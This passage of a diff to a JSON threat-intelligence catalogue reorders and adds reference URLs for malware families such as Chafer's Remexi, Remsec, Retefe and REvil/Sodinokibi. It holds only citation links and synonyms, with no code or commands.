"https://bitdefender.com/files/News/CaseStudies/study/332/Bitdefender-Whitepaper-Chafer-creat4491-en-EN-interactive.pdf", "http://www.symantec.com/content/en/us/enterprise/media/security_response/docs/CadelSpy-Remexi-IOC.pdf", "https://www.symantec.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions", - "https://securelist.com/chafer-used-remexi-malware/89538/", "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions", - "https://twitter.com/QW5kcmV3/status/1095833216605401088", - "https://www.secureworks.com/research/threat-profiles/cobalt-hickman", "https://web.archive.org/web/20191221064439/https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets", - "https://bitdefender.com/files/News/CaseStudies/study/332/Bitdefender-Whitepaper-Chafer-creat4491-en-EN-interactive.pdf" + "https://www.secureworks.com/research/threat-profiles/cobalt-hickman", + "https://securelist.com/chafer-used-remexi-malware/89538/", + "https://twitter.com/QW5kcmV3/status/1095833216605401088" ], "synonyms": [ "CACHEMONEY" @@ -41162,11 +43114,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.remsec_strider", - "https://artemonsecurity.blogspot.com/2016/10/remsec-driver-analysis.html", "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=ce2df4da-afe9-4a24-b28c-0fb3ba671d95&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", - "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf", + "https://artemonsecurity.blogspot.com/2016/10/remsec-driver-analysis-part-2.html", "https://artemonsecurity.blogspot.com/2016/10/remsec-driver-analysis-part-3.html", - "https://artemonsecurity.blogspot.com/2016/10/remsec-driver-analysis-part-2.html" + "https://artemonsecurity.blogspot.com/2016/10/remsec-driver-analysis.html", + "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf" ], "synonyms": [], "type": [] @@ -41179,8 +43131,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.remy", - "https://www.secureworks.com/research/threat-profiles/tin-woodlawn", - "https://threatvector.cylance.com/en_us/home/report-oceanlotus-apt-group-leveraging-steganography.html" + "https://threatvector.cylance.com/en_us/home/report-oceanlotus-apt-group-leveraging-steganography.html", + "https://www.secureworks.com/research/threat-profiles/tin-woodlawn" ], "synonyms": [ "WINDSHIELD" @@ -41222,13 +43174,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.retefe", - "https://github.com/cocaman/retefe", - "https://github.com/Tomasuh/retefe-unpacker", - "https://www.govcert.admin.ch/blog/33/the-retefe-saga", "https://threatpost.com/eternalblue-exploit-used-in-retefe-banking-trojan-campaign/128103/", "https://researchcenter.paloaltonetworks.com/2015/08/retefe-banking-trojan-targets-sweden-switzerland-and-japan/", - "https://vulnerability.ch/2019/05/analysing-retefe-with-sysmon-and-splunk/", + "https://github.com/cocaman/retefe", "https://www.proofpoint.com/us/threat-insight/post/2019-return-retefe", + "https://vulnerability.ch/2019/05/analysing-retefe-with-sysmon-and-splunk/", + "https://github.com/Tomasuh/retefe-unpacker", + "https://www.govcert.admin.ch/blog/33/the-retefe-saga", "https://www.govcert.admin.ch/blog/35/reversing-retefe" ], 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"https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf", - "https://www.bleepingcomputer.com/news/security/fbi-revil-cybergang-behind-the-jbs-ransomware-attack/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", - "https://www.cybereason.com/blog/cybereason-vs-revil-ransomware-the-kaseya-chronicles", - "https://home.treasury.gov/news/press-releases/jy0471", - "https://teamt5.org/en/posts/introducing-the-most-profitable-ransomware-revil/", - "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", - "https://www.digitalshadows.com/blog-and-research/ransomware-as-a-service-rogue-affiliates-and-whats-next/", - "https://www.bleepingcomputer.com/news/security/kaseyas-universal-revil-decryption-key-leaked-on-a-hacking-forum/", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://dissectingmalwa.re/germanwipers-big-brother-gandgrabs-kid-sodinokibi.html", - "https://f.hubspotusercontent10.net/hubfs/7095517/FLINT-Kaseya-Another%20Massive%20Heist%20by%20REvil.pdf", - "https://sites.temple.edu/care/ci-rw-attacks/", - "https://www.br.de/nachrichten/deutschland-welt/mutmasslicher-ransomware-millionaer-identifiziert,Sn3iHgJ", - "https://twitter.com/VK_Intel/status/1411066870350942213", - "https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations-wp.pdf", - "https://ke-la.com/darknet-threat-actors-are-not-playing-games-with-the-gaming-industry/", - "https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Lageberichte/Lagebericht2020.pdf?__blob=publicationFile&v=2", - "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", - "https://thehackernews.com/2022/03/ukrainian-hacker-linked-to-revil.html", - "https://drive.google.com/file/d/1ph1E0onZ7TiNyG87k4WjofCKNuCafMLk/view", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://cocomelonc.github.io/malware/2023/02/02/malware-analysis-7.html", - "https://www.acronis.com/en-sg/articles/sodinokibi-ransomware/", - "https://www.advanced-intel.com/post/revil-vanishes-from-underground-infrastructure-down-support-staff-adverts-silent", - "https://www.appgate.com/blog/electric-company-ransomware-attack-calls-for-14-million-in-ransom", - "https://www.goggleheadedhacker.com/blog/post/sodinokibi-ransomware-analysis", - "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", - "https://www.cyjax.com/2021/07/09/revilevolution/", - "https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf", - "https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html", - "https://www.bleepingcomputer.com/news/security/another-ransomware-will-now-publish-victims-data-if-not-paid/", - "https://www.reuters.com/technology/exclusive-governments-turn-tables-ransomware-gang-revil-by-pushing-it-offline-2021-10-21/", - "https://www.trendmicro.com/en_us/research/21/a/sodinokibi-ransomware.html", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf", - "https://www.bleepingcomputer.com/news/security/blackmatter-ransomware-gang-rises-from-the-ashes-of-darkside-revil/", - "https://www.flashpoint-intel.com/blog/revil-disappears-again/", - "https://therecord.media/i-scrounged-through-the-trash-heaps-now-im-a-millionaire-an-interview-with-revils-unknown/", - "https://threatpost.com/ransomware-revil-sites-disappears/167745/", - "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", - "https://securelist.com/ransomware-world-in-2021/102169/", - "https://twitter.com/SyscallE/status/1411074271875670022", - "https://us-cert.cisa.gov/ncas/current-activity/2021/07/04/cisa-fbi-guidance-msps-and-their-customers-affected-kaseya-vsa", - "https://areteir.com/wp-content/uploads/2020/07/Arete_Insight_Sodino-Ransomware_June-2020.pdf", - "https://cti-league.com/wp-content/uploads/2021/02/CTI-League-Darknet-Report-2021.pdf", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", - "https://www.crowdstrike.com/blog/the-evolution-of-revil-ransomware-and-pinchy-spider/", - "https://kaseya.app.box.com/s/0ysvgss7w48nxh8k1xt7fqhbcjxhas40", - "https://tehtris.com/fr/peut-on-neutraliser-un-ransomware-lance-en-tant-que-system-sur-des-milliers-de-machines-en-meme-temps/", - "https://twitter.com/fwosar/status/1411281334870368260", - "https://www.flashpoint-intel.com/blog/interview-with-revil-affiliated-ransomware-contractor/", - "https://www.bleepingcomputer.com/news/security/revil-ransomware-returns-new-malware-sample-confirms-gang-is-back/", - "https://www.kpn.com/security-blogs/Tracking-REvil.htm", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/diving-deeper-into-the-kaseya-vsa-attack-revil-returns-and-other-hackers-are-riding-their-coattails/", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/undressing-the-revil/", - "https://research.checkpoint.com/2020/graphology-of-an-exploit-playbit/", - "https://www.tgsoft.it/english/news_archivio_eng.asp?id=1004", - "https://krebsonsecurity.com/2021/11/revil-ransom-arrest-6m-seizure-and-10m-reward/", - "https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses", - "https://blog.sensecy.com/2020/08/20/global-ransomware-attacks-in-2020-the-top-4-vulnerabilities/", - "https://www.databreaches.net/a-former-darkside-listing-shows-up-on-revils-leak-site/", - "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", - "https://www.flashpoint-intel.com/blog/cl0p-and-revil-escalate-their-ransomware-tactics/", - "https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware", - "https://www.youtube.com/watch?v=P8o6GItci5w", - "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/", - "https://www.goggleheadedhacker.com/blog/post/reversing-crypto-functions", - "https://blog.morphisec.com/real-time-prevention-of-the-kaseya-vsa-supply-chain-revil-ransomware-attack", - "https://www.europol.europa.eu/newsroom/news/five-affiliates-to-sodinokibi/revil-unplugged", - "https://www.secureworks.com/research/lv-ransomware", - "https://www.trendmicro.com/en_in/research/21/k/global-operations-lead-to-arrests-of-alleged-members-of-gandcrab.html", - "https://www.pandasecurity.com/emailhtml/2007-CAM-RANSOMWARE-AD360-WG/2006-Report-Sodinokibi-EN.pdf", - "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", - "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-crescendo/", - "https://twitter.com/fwosar/status/1420119812815138824", - "https://hatching.io/blog/ransomware-part2", - "https://news.sophos.com/en-us/2021/06/11/relentless-revil-revealed/", - "https://vimeo.com/449849549", - "https://www.advanced-intel.com/post/adversarial-perspective-advintel-breach-avoidance-through-monitoring-initial-vulnerabilities", - "https://www.bleepingcomputer.com/news/security/three-more-ransomware-families-create-sites-to-leak-stolen-data/", - "https://www.domaintools.com/resources/blog/revealing-revil-ransomware-with-domaintools-and-maltego", - "https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/", - "https://blogs.blackberry.com/en/2021/11/revil-under-the-microscope", - "https://storage.courtlistener.com/recap/gov.uscourts.txnd.352371/gov.uscourts.txnd.352371.1.0_1.pdf", - "https://redcanary.com/blog/uncompromised-kaseya/", - "https://twitter.com/R3MRUM/status/1412064882623713283", - "https://www.accenture.com/us-en/blogs/cyber-defense/moving-left-ransomware-boom", - "https://blog.group-ib.com/REvil_RaaS", - "https://twitter.com/LloydLabs/status/1411098844209819648", - "https://twitter.com/SophosLabs/status/1412056467201462276", - "https://www.crowdstrike.com/blog/how-to-defend-against-conti-darkside-revil-and-other-ransomware/", - "https://www.huntress.com/blog/security-researchers-hunt-to-discover-origins-of-the-kaseya-vsa-mass-ransomware-incident", - "https://velzart.nl/blog/ransomeware/", - "https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-to-stop-taking-bitcoin-to-hide-money-trail/", - "https://securityintelligence.com/posts/sodinokibi-ransomware-incident-response-intelligence-together/", - "https://raw.githubusercontent.com/k-vitali/Malware-Misc-RE/master/2022-05-01-revil-reborn-ransom.vk.cfg.txt", - "https://intel471.com/blog/changes-in-revil-ransomware-version-2-2", - "https://www.trendmicro.com/en_us/research/21/h/supply-chain-attacks-from-a-managed-detection-and-response-persp.html", - "https://community.riskiq.com/article/3315064b", - "https://twitter.com/SophosLabs/status/1413616952313004040?s=20", - "https://threatintel.blog/OPBlueRaven-Part1/", + "https://www.zdnet.com/article/revil-ransomware-gang-acquires-kpot-malware/", "https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-says-travelex-will-pay-one-way-or-another/", - "https://www.elastic.co/blog/ransomware-interrupted-sodinokibi-and-the-supply-chain", + "https://f.hubspotusercontent10.net/hubfs/5943619/Whitepaper-Downloads/Ransomware_in_ICS_Environments_Whitepaper_10_12_20.pdf", + "https://research.checkpoint.com/2020/graphology-of-an-exploit-playbit/", + "https://www.acronis.com/en-sg/articles/sodinokibi-ransomware/", + "https://www.justice.gov/opa/pr/sodinokibirevil-ransomware-defendant-extradited-united-states-and-arraigned-texas", + "https://tehtris.com/fr/peut-on-neutraliser-un-ransomware-lance-en-tant-que-system-sur-des-milliers-de-machines-en-meme-temps/", + "https://www.cnbc.com/2021/04/23/axis-of-revil-inside-the-hacker-collective-taunting-apple.html", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://www.splunk.com/en_us/blog/security/revil-ransomware-threat-research-update-and-detections.html", + "https://krebsonsecurity.com/2019/07/is-revil-the-new-gandcrab-ransomware/", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", + "https://www.advanced-intel.com/post/revil-vanishes-from-underground-infrastructure-down-support-staff-adverts-silent", + "https://www.secureworks.com/blog/revil-development-adds-confidence-about-gold-southfield-reemergence?linkId=164334801", + "https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-to-stop-taking-bitcoin-to-hide-money-trail/", + "https://blag.nullteilerfrei.de/2019/11/09/api-hashing-why-and-how/", + "https://blog.morphisec.com/real-time-prevention-of-the-kaseya-vsa-supply-chain-revil-ransomware-attack", + "https://www.secureworks.com/blog/revil-ransomware-reemerges-after-shutdown-universal-decryptor-released", + "https://www.advintel.io/post/storm-in-safe-haven-takeaways-from-russian-authorities-takedown-of-revil", + "https://www.trendmicro.com/en_in/research/21/k/global-operations-lead-to-arrests-of-alleged-members-of-gandcrab.html", + "https://www.bbc.com/news/technology-59297187", + "https://www.advanced-intel.com/post/inside-revil-extortionist-machine-predictive-insights", + "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/", + "https://www.boll.ch/datasheets/WG_Threat_Report_EN.pdf", + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://cybleinc.com/2021/07/03/uncensored-interview-with-revil-sodinokibi-ransomware-operators/", + "https://blog.sensecy.com/2020/08/20/global-ransomware-attacks-in-2020-the-top-4-vulnerabilities/", + "https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html", + "https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf", + "https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/", + "https://ibm.ent.box.com/s/hs5pcayhbbhjvj8di5sqdpbbd88tsh89", + "https://news.sophos.com/en-us/2021/06/30/mtr-in-real-time-hand-to-hand-combat-with-revil-ransomware-chasing-a-2-5-million-pay-day/", + "https://blogs.blackberry.com/en/2021/11/revil-under-the-microscope", "https://twitter.com/resecurity_com/status/1412662343796813827", "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", - "https://blog.truesec.com/2021/07/04/kaseya-supply-chain-attack-targeting-msps-to-deliver-revil-ransomware/", - "https://www.fincen.gov/sites/default/files/advisory/2021-11-08/FinCEN%20Ransomware%20Advisory_FINAL_508_.pdf", - "https://ke-la.com/ransomware-gangs-are-starting-to-look-like-oceans-11/", - "https://www.bleepingcomputer.com/news/security/revil-gang-tries-to-extort-apple-threatens-to-sell-stolen-blueprints/", - "https://www.bleepingcomputer.com/news/security/revil-ransomware-shuts-down-again-after-tor-sites-were-hijacked/", - "https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations.pdf", - "https://www.youtube.com/watch?v=QYQQUUpU04s", - "https://searchsecurity.techtarget.com/feature/Ransomware-negotiations-An-inside-look-at-the-process", - "https://www.certego.net/en/news/malware-tales-sodinokibi/", - "https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/", - "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", - "https://twitter.com/AdamTheAnalyst/status/1409499591452639242?s=20", - "https://www.darkowl.com/blog-content/page-not-found-revil-darknet-services-offline-after-attack-last-weekend", - "https://doublepulsar.com/kaseya-supply-chain-attack-delivers-mass-ransomware-event-to-us-companies-76e4ec6ec64b", - "https://therecord.media/us-arrests-and-charges-ukrainian-man-for-kaseya-ransomware-attack/", - "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", - "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", - "https://diicot.ro/mass-media/3341-comunicat-de-presa-2-08-11-2021", - "https://news.sophos.com/en-us/2021/06/30/what-to-expect-when-youve-been-hit-with-revil-ransomware/", - "https://teamt5.org/tw/posts/revil-dll-sideloading-technique-used-by-other-hackers/", - "https://ke-la.com/easy-way-in-5-ransomware-victims-had-their-pulse-secure-vpn-credentials-leaked/", - "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", - "https://blog.intel471.com/2020/03/31/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://documents.trendmicro.com/assets/rpt/rpt-navigating-new-frontiers-trend-micro-2021-annual-cybersecurity-report.pdf", - "https://gist.githubusercontent.com/fwosar/a63e1249bfccb8395b961d3d780c0354/raw/312b2bbc566cbee2dac7b143dc143c1913ddb729/revil.json", - "https://blog.redteam.pl/2020/05/sodinokibi-revil-ransomware.html", - "https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/", - "https://www.secureworks.com/research/revil-sodinokibi-ransomware", - "https://news.sophos.com/en-us/2021/06/30/mtr-in-real-time-hand-to-hand-combat-with-revil-ransomware-chasing-a-2-5-million-pay-day/", - "https://www.elliptic.co/blog/revil-revealed-tracking-ransomware-negotiation-and-payment", - "https://russian.rt.com/russia/article/926347-barnaulec-rozysk-fbr-kibermoshennichestvo", - "https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-threatens-to-publish-data-of-automotive-group/", - "https://www.boll.ch/datasheets/WG_Threat_Report_EN.pdf", - "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", - "https://www.justice.gov/opa/pr/ukrainian-arrested-and-charged-ransomware-attack-kaseya", - "https://www.bleepingcomputer.com/news/security/kaseya-obtains-universal-decryptor-for-revil-ransomware-victims/", - "https://www.domaintools.com/resources/blog/the-most-prolific-ransomware-families-a-defenders-guide", - "https://blag.nullteilerfrei.de/2020/02/02/defeating-sodinokibi-revil-string-obfuscation-in-ghidra/", - "https://securelist.com/revil-ransomware-attack-on-msp-companies/103075/", - "https://www.bleepingcomputer.com/news/security/revil-ransomware-hits-1-000-plus-companies-in-msp-supply-chain-attack/", - "https://public.intel471.com/blog/revil-ransomware-interview-russian-osint-100-million/", + "https://www.europol.europa.eu/newsroom/news/five-affiliates-to-sodinokibi/revil-unplugged", + "https://www.youtube.com/watch?v=LUxOcpIRxmg", "https://www.flashpoint-intel.com/blog/chatter-indicates-blackmatter-as-revil-successor/", - "https://storage.courtlistener.com/recap/gov.uscourts.txnd.351760/gov.uscourts.txnd.351760.1.0_3.pdf", - "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", + "https://www.pandasecurity.com/emailhtml/2007-CAM-RANSOMWARE-AD360-WG/2006-Report-Sodinokibi-EN.pdf", + "https://www.flashpoint-intel.com/blog/interview-with-revil-affiliated-ransomware-contractor/", "https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/", - "https://www.advanced-intel.com/post/inside-revil-extortionist-machine-predictive-insights", - "https://www.youtube.com/watch?v=tZVFMVm5GAk", + "https://diicot.ro/mass-media/3341-comunicat-de-presa-2-08-11-2021", + "https://storage.courtlistener.com/recap/gov.uscourts.txnd.352371/gov.uscourts.txnd.352371.1.0_1.pdf", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/undressing-the-revil/", + "https://sites.temple.edu/care/ci-rw-attacks/", + "https://www.fincen.gov/sites/default/files/advisory/2021-11-08/FinCEN%20Ransomware%20Advisory_FINAL_508_.pdf", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", + "https://storage.courtlistener.com/recap/gov.uscourts.txnd.351760/gov.uscourts.txnd.351760.1.0_3.pdf", + "https://blog.group-ib.com/REvil_RaaS", + "https://www.cybereason.com/blog/cybereason-vs-revil-ransomware-the-kaseya-chronicles", + "https://drive.google.com/file/d/1ph1E0onZ7TiNyG87k4WjofCKNuCafMLk/view", + "https://twitter.com/VK_Intel/status/1411066870350942213", + "https://www.elastic.co/blog/ransomware-interrupted-sodinokibi-and-the-supply-chain", + "https://www.kpn.com/security-blogs/Tracking-REvil.htm", "https://www.zscaler.com/blogs/security-research/kaseya-supply-chain-ransomware-attack-technical-analysis-revil-payload", - "https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion", - "https://www.flashpoint-intel.com/blog/revils-cryptobackdoor-con-ransomware-groups-tactics-roil-affiliates-sparking-a-fallout/", + "https://www.huntress.com/blog/security-researchers-hunt-to-discover-origins-of-the-kaseya-vsa-mass-ransomware-incident", + "https://www.secureworks.com/blog/revil-the-gandcrab-connection", + "https://twitter.com/svch0st/status/1411537562380816384", + "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", + "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", + "https://twitter.com/SophosLabs/status/1413616952313004040?s=20", + "https://teamt5.org/en/posts/introducing-the-most-profitable-ransomware-revil/", + "https://www.darkowl.com/blog-content/page-not-found-revil-darknet-services-offline-after-attack-last-weekend", + "https://ke-la.com/ransomware-gangs-are-starting-to-look-like-oceans-11/", + "https://www.bleepingcomputer.com/news/security/another-ransomware-will-now-publish-victims-data-if-not-paid/", + "https://cocomelonc.github.io/malware/2023/02/02/malware-analysis-7.html", + "https://twitter.com/_alex_il_/status/1412403420217159694", + "https://www.elliptic.co/blog/revil-revealed-tracking-ransomware-negotiation-and-payment", + "https://therecord.media/i-scrounged-through-the-trash-heaps-now-im-a-millionaire-an-interview-with-revils-unknown/", + "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", + "https://www.connectwise.com/resources/revil-profile", + "https://therecord.media/ransomwhere-project-wants-to-create-a-database-of-past-ransomware-payments/", + "https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf", + "https://www.justice.gov/opa/pr/ukrainian-arrested-and-charged-ransomware-attack-kaseya", + "https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-009/", + "https://www.secureworks.com/research/threat-profiles/gold-southfield", + "https://threatpost.com/ransomware-revil-sites-disappears/167745/", + "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", + "https://blog.amossys.fr/sodinokibi-malware-analysis.html", + "https://www.nytimes.com/2019/08/22/us/ransomware-attacks-hacking.html", + "https://ke-la.com/darknet-threat-actors-are-not-playing-games-with-the-gaming-industry/", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-revil", + "https://blog.redteam.pl/2020/05/sodinokibi-revil-ransomware.html", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/sodinokibi-ransomware-cobalt-strike-pos", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/diving-deeper-into-the-kaseya-vsa-attack-revil-returns-and-other-hackers-are-riding-their-coattails/", + "https://www.digitalshadows.com/blog-and-research/revil-analysis-of-competing-hypotheses/", + "https://www.bleepingcomputer.com/news/security/revil-ransomware-gang-claims-over-100-million-profit-in-a-year/", + "https://teamt5.org/tw/posts/revil-dll-sideloading-technique-used-by-other-hackers/", + "https://www.reddit.com/r/msp/comments/ocggbv/crticial_ransomware_incident_in_progress/", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", + "http://www.fsb.ru/fsb/press/message/single.htm%21id%3D10439388%40fsbMessage.html", + "https://medium.com/@underthebreach/tracking-down-revils-lalartu-by-utilizing-multiple-osint-methods-2bf3a6c65a80", + "https://public.intel471.com/blog/revil-ransomware-interview-russian-osint-100-million/", + "https://twitter.com/SophosLabs/status/1412056467201462276", + "https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses", + "https://community.riskiq.com/article/3315064b", + "https://twitter.com/fwosar/status/1411281334870368260", + "https://www.crowdstrike.com/blog/the-evolution-of-revil-ransomware-and-pinchy-spider/", + "https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox", + "https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations-wp.pdf", + "https://www.netskope.com/blog/netskope-threat-coverage-revil", + "https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/", + "https://securelist.com/ransomware-world-in-2021/102169/", + "https://twitter.com/LloydLabs/status/1411098844209819648", + "https://searchsecurity.techtarget.com/feature/Ransomware-negotiations-An-inside-look-at-the-process", + "https://unit42.paloaltonetworks.com/threat-brief-kaseya-vsa-ransomware-attacks/", + "https://dissectingmalwa.re/germanwipers-big-brother-gandgrabs-kid-sodinokibi.html", + "https://www.flashpoint-intel.com/blog/possible-universal-revil-master-key-posted-to-xss/", + "https://blog.truesec.com/2021/07/06/kaseya-vsa-zero-day-exploit", + "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023", + "https://kaseya.app.box.com/s/0ysvgss7w48nxh8k1xt7fqhbcjxhas40", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://intel471.com/blog/changes-in-revil-ransomware-version-2-2", + "https://doublepulsar.com/kaseya-supply-chain-attack-delivers-mass-ransomware-event-to-us-companies-76e4ec6ec64b", + "https://asec.ahnlab.com/ko/19860/", + "https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-hits-new-york-airport-systems/", + "https://blog.malwarebytes.com/threat-analysis/2020/11/german-users-targeted-with-gootkit-banker-or-revil-ransomware/", + "https://blog.intel471.com/2020/03/31/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", + "https://cti-league.com/wp-content/uploads/2021/02/CTI-League-Darknet-Report-2021.pdf", + "https://www.grahamcluley.com/travelex-paid-ransom/", + "https://www.recordedfuture.com/blackmatter-ransomware-successor-darkside-revil/", + "https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware", + "https://securityintelligence.com/posts/sodinokibi-ransomware-incident-response-intelligence-together/", + "https://blog.gigamon.com/2021/07/08/observations-and-recommendations-from-the-ongoing-revil-kaseya-incident/", "https://www.bleepingcomputer.com/news/security/revil-ransomware-gangs-web-sites-mysteriously-shut-down/", + "https://www.documentcloud.org/documents/21505031-hgsac-staff-report-americas-data-held-hostage-032422", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-2/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://areteir.com/wp-content/uploads/2020/07/Arete_Insight_Sodino-Ransomware_June-2020.pdf", + "https://f.hubspotusercontent10.net/hubfs/7095517/FLINT-Kaseya-Another%20Massive%20Heist%20by%20REvil.pdf", + "https://securityintelligence.com/posts/sodinokibi-revil-ransomware-disrupt-trade-secrets/", + "https://news.sophos.com/en-us/2021/06/30/what-to-expect-when-youve-been-hit-with-revil-ransomware/", + "https://unit42.paloaltonetworks.com/prometheus-ransomware/", + "https://www.bleepingcomputer.com/news/security/fbi-revil-cybergang-behind-the-jbs-ransomware-attack/", + "https://securityaffairs.co/wordpress/98694/malware/sodinokibi-kenneth-cole-data-breach.html", + "https://www.splunk.com/en_us/blog/security/kaseya-sera-what-revil-shall-encrypt-shall-encrypt.html", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://www.br.de/nachrichten/deutschland-welt/mutmasslicher-ransomware-millionaer-identifiziert,Sn3iHgJ", + 